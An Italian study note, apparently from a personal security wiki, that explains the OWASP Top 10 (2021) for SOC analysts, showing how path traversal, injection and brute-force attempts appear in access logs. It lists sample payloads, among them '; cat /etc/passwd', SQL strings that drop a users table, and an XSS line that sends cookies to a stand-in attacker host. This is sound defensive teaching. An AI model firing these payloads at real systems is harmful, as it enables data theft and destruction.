Cosa fa#
Fornisce una lingua comune per classificare le vulnerabilità web — ogni attacco web ricade in una categoria numerata.
TL;DR#
OWASP pubblica ogni 3-4 anni la lista delle 10 vulnerabilità web più diffuse e pericolose. Non è uno standard tecnico — è un vocabolario condiviso tra developer, pentester e SOC analyst.
# Come lo usi in pratica come Blue Team:
GET /../../../etc/passwd → A01 Broken Access Control (Path Traversal)
' OR 1=1 nel form login → A03 Injection (SQL Injection)
200 tentativi login/min → A07 Identification and Authentication FailuresLe 10 categorie (versione 2021)#
| # | Nome | In breve |
|---|---|---|
| A01 | Broken Access Control | accesso a risorse non autorizzate |
| A02 | Cryptographic Failures | dati sensibili in chiaro o mal cifrati |
| A03 | Injection | input utente eseguito come codice |
| A04 | Insecure Design | architettura sbagliata a monte |
| A05 | Security Misconfiguration | default password, debug in prod, header assenti |
| A06 | Vulnerable and Outdated Components | librerie con CVE note non aggiornate |
| A07 | Identification and Authentication Failures | sessioni deboli, brute force, token insicuri |
| A08 | Software and Data Integrity Failures | supply chain, update non verificati |
| A09 | Security Logging and Monitoring Failures | nessun log = nessuna detection |
| A10 | Server-Side Request Forgery (SSRF) | il server fa richieste verso reti interne |
A01 — Broken Access Control#
L'utente accede a risorse o operazioni che non dovrebbe vedere o eseguire.
Sottotipi principali:
- Path Traversal / LFI — uscire dalla directory prevista con
../ - IDOR (Insecure Direct Object Reference) — cambiare
user_id=123inuser_id=124e vedere i dati di un altro utente - Directory listing — il server espone l'indice di una cartella
- Privilege escalation orizzontale/verticale — utente normale che accede a funzioni admin
Come appare in un access log Apache/Nginx:
GET /../../../etc/passwd HTTP/1.1 200 # path traversal riuscito — CRITICO
GET /admin/panel HTTP/1.1 403 # tentativo bloccato — da monitorare se ripetuto
GET /files/ HTTP/1.1 200 # directory listing esposta — A01Natas dove l'hai visto: bandit-02 (directory listing), bandit-03 (robots.txt), bandit-07 (LFI/Path Traversal)
A03 — Injection#
Input utente viene inserito direttamente in un comando o una query senza sanitizzazione. Il server non distingue dati da istruzioni.
| Tipo | Dove finisce l'input | Esempio payload |
|---|---|---|
| Command Injection | Shell di sistema | ; cat /etc/passwd o | cat /etc/passwd |
| SQL Injection | Query database | ' OR '1'='1 oppure ' ; DROP TABLE users -- |
| XSS (Reflected) | HTML/JS nel browser della vittima | <script>document.location='http://attacker/'+document.cookie</script> |
| LDAP Injection | Directory service | *)(& |
Regola generale: se vedi passthru(), system(), exec() in PHP, o query costruite con concatenazione di stringhe — è injection in attesa di accadere.
Come appare in un access log:
GET /search?q=';+DROP+TABLE+users-- HTTP/1.1 500 # SQL injection tentata
GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200 # command injection riuscitaNatas dove l'hai visto: bandit-09 (command injection con passthru()), bandit-10 (injection con filtri)
A07 — Identification and Authentication Failures#
Il sistema non verifica correttamente l'identità dell'utente, o la verifica è aggirabile.
Casi tipici:
- Cookie manipolabile lato client —
loggedin=0→loggedin=1 - Session token prevedibile — ID di sessione incrementale o debolmente generato
- Brute force senza rate limiting — nessun blocco dopo N tentativi falliti
- Password in chiaro nel DB — nessun hashing
- Logout che non invalida la sessione — il token rimane valido lato server
Come appare in un access log:
# Brute force — stesso IP, stesso endpoint, molti 401
192.168.1.100 POST /login 401
192.168.1.100 POST /login 401
192.168.1.100 POST /login 401 # x200 in 30 secondi → alert T1110 MITRENatas dove l'hai visto: bandit-04 (Referer spoofing), bandit-05 (cookie manipulation)
Come usarlo in un SOC#
Quando analizzi un alert o un log sospetto, la prima domanda è: a quale categoria OWASP appartiene?
Questo ti permette di:
- Scrivere incident report con terminologia standard
- Mappare su MITRE ATT&CK (T1059 = Command Injection = A03, T1110 = Brute Force = A07)
- Capire la remediation corretta senza reinventare ogni volta
Nei log reali, A01 e A03 sono le categorie più frequenti negli attacchi web automatizzati (scanner, bot).
Scenario Reale#
Sei analyst SOC. Wazuh ti lancia un alert su un web server Apache. Apri il log e vedi:
GET /page?file=../../../../etc/passwd HTTP/1.1 200
GET /search?q='+OR+1=1-- HTTP/1.1 500
POST /login HTTP/1.1 401 (x150 in 2 minuti, stesso IP)Classificazione immediata:
- Riga 1 → A01 Path Traversal — risposta 200, quindi riuscito. Priorità critica.
- Riga 2 → A03 SQL Injection — risposta 500 (errore DB), tentativo parzialmente riuscito. Alta priorità.
- Riga 3 → A07 Brute Force — ancora in corso. Blocca IP, verifica se qualche 200 nel mezzo.
Collegato a#
- network — categoria
- ctf-hub — lab dove hai incontrato A01/A03/A07 in pratica
- MITRE ATT&CK — framework complementare per classificazione tattiche



